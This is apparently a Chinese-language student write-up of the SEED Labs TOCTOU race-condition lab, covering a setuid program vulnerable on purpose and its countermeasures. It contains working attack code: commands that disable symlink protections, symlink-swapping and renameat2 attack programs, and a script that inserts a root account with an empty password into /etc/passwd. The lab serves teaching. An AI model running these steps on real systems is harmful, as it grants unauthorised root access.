实验准备
关闭保护措施(根据版本选择命令)
为什么我们一直在学习一些已经被解决的漏洞呢?(⓿_⓿)
// On Ubuntu 20.04, use the following:
sudo sysctl -w fs.protected_symlinks=0
sudo sysctl fs.protected_regular=0
// On Ubuntu 16.04, use the following:
sudo sysctl -w fs.protected_symlinks=0
// On Ubuntu 12.04, use the following:
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
下载实验资料:https://seedsecuritylabs.org/Labs_20.04/Software/Race_Condition/
准备存在漏洞的程序vulp.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
return 0;
}
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
Task 1: Choosing Our Target
背景
我们选择以密码文件 /etc/passwd
(正常用户无法写入该文件),来利用程序中的竞赛条件漏洞。
通过利用该漏洞,我们想在密码文件中添加一条记录,目的是创建一个拥有 root 权限的新用户账户。
但是在 linux 系统中,还存在着应该/etc/shadow
这个文件用于存储密码的hash
值,如果说/etc/passwd
形式如下(关键是第一部分的x
),这代表密码是存储在影子文件中
root:x:0:0:root:/root:/bin/bash
因此我们可能需要修改两个文件,这就变得比较复杂了,因此我们可以绕路,直接改影子文件。
任务
使用
root
在中/etc/passwd
手动写入sudo nano /etc/passwd
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
此处
U6aMy0wojraho
是空密码的 hash 值使用无密码登录 test 账户
记得清除刚才的修改
Task 2: Launching the Race Condition Attack
Task 2.A: Simulating a Slow Machine
创建passwd_input文件、写入内容:
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
准备攻击程序 attack_process.c
#include <unistd.h>
int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("/dev/null","/tmp/XYZ");
usleep(1000);
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
usleep(1000);
}
return 0;
}
编译
gcc -o attack_process attack_process.c
创建target_process.sh
脚本文件:
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
开两个终端:一个运行attack_process
,另一个运行./target_process.sh
./attack_process
sudo chmod +x target_process.sh
./target_process.sh
Task 2.B: The Real Attack
攻击目的
在真实环境下去进行竟态攻击。
在之前的任务中,我们通过要求易受攻击的程序放慢速度来“欺骗”,这样我们就可以发起攻击。 这绝对不是真正的攻击。
在这个任务中,我们将发起真正的攻击。 在做任务前,确保从
attack_process.c
程序中删除了 sleep() 语句。
流程复刻
首先把 taskA 成功攻击写入到 passwd 文件的注入删掉:
sudo nano /etc/passwd
以及删除/tmp/XYZ
sudo rm /tmp/XYZ
编写attack_process.c
//attack_process.c
#include <unistd.h>
int main()
{
while(1){
unlink("/tmp/XYZ");
symlink("/dev/null","/tmp/XYZ");
unlink("/tmp/XYZ");
symlink("/etc/passwd","/tmp/XYZ");
}
return 0;
}
gcc attack_process.c -o attack_process
一样两个窗口,分别运行attack_process
和target_process.sh
./attack_process
./target_process.sh
如果失败了就删了
/tmp/XYZ
重来
Task 2.C: An Improved Attack Method
向删除
sudo rm /tmp/XYZ
sudo rm /tmp/ABC
将attack_process.c
修改为:
//attack_process.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
int main()
{
unsigned int flags = RENAME_EXCHANGE;
unlink("/tmp/XYZ"); symlink("/dev/null", "/tmp/XYZ");
unlink("/tmp/ABC"); symlink("/etc/passwd", "/tmp/ABC");
while(1){
renameat2(0, "/tmp/XYZ", 0, "/tmp/ABC", flags);
}
return 0;
}
gcc attack_process.c -o attack_process
一样两个窗口,分别运行attack_process
和target_process.sh
./attack_process
./target_process.sh
Task 3: Countermeasures
建议先做任务 B
Task 3.A: Applying the Principle of Least Privilege
本实验室易受攻击程序的根本问题是违反最小权限原则。
最小特权原则:即,如果用户不需要某些权限,则需要禁用该权限。
更改vulp.c
如下,重新编译,设置为root所有的setuid
程序:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main()
{
char* fn = "/tmp/XYZ";
char buffer[60];
FILE* fp;
uid_t uid = getuid(); //真实用户id
seteuid(uid); //暂时关闭 root 权限,让用户使用其原本的权限
/* get user input */
scanf("%50s", buffer);
if (!access(fn, W_OK)) {
fp = fopen(fn, "a+");
if (!fp) {
perror("Open failed");
exit(1);
}
fwrite("\n", sizeof(char), 1, fp);
fwrite(buffer, sizeof(char), strlen(buffer), fp);
fclose(fp);
} else {
printf("No permission \n");
}
return 0;
}
重新编译 vulp.c
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp
重复 Task2 C,未能成功(运行 5 分钟)
原因:调用open()时没有root权限打开/tmp/X
指向的受保护的文件passwd
。
Task 3.B: Using Ubuntu’s Built-in Scheme
Ubuntu 10.10 和更高版本带有一个内置的保护方案,可以防止竞争条件攻击。 在此任务中,您需要使用以下命令重新打开保护:
# On Ubuntu 16.04 and 20.04, use the following command:
sudo sysctl -w fs.protected_symlinks=1
使用任务2的vulp.c
,重新攻击:
还是失败,原因是:
当设置粘滞位比特后,只有文件所有者、目录所有者或root用户才能重命名或删除粘滞目录中的文件。/tmp目录设置了粘滞位比特。当粘滞符号保护开启后,全局可写的粘滞目录(如tmp)中的符号链接的所有者,与跟随者和目录所有者的其中之一相匹配时才能被跟随。
本次竞态条件攻击中,漏洞程序以root权限运行,即跟随者为root,/tmp目录的所有者也是root,但是符号链接所有者时攻击者本身(seed)。所以系统不允许程序使用该符号链接。
局限性:仅适用于/tmp这样的粘滞目录。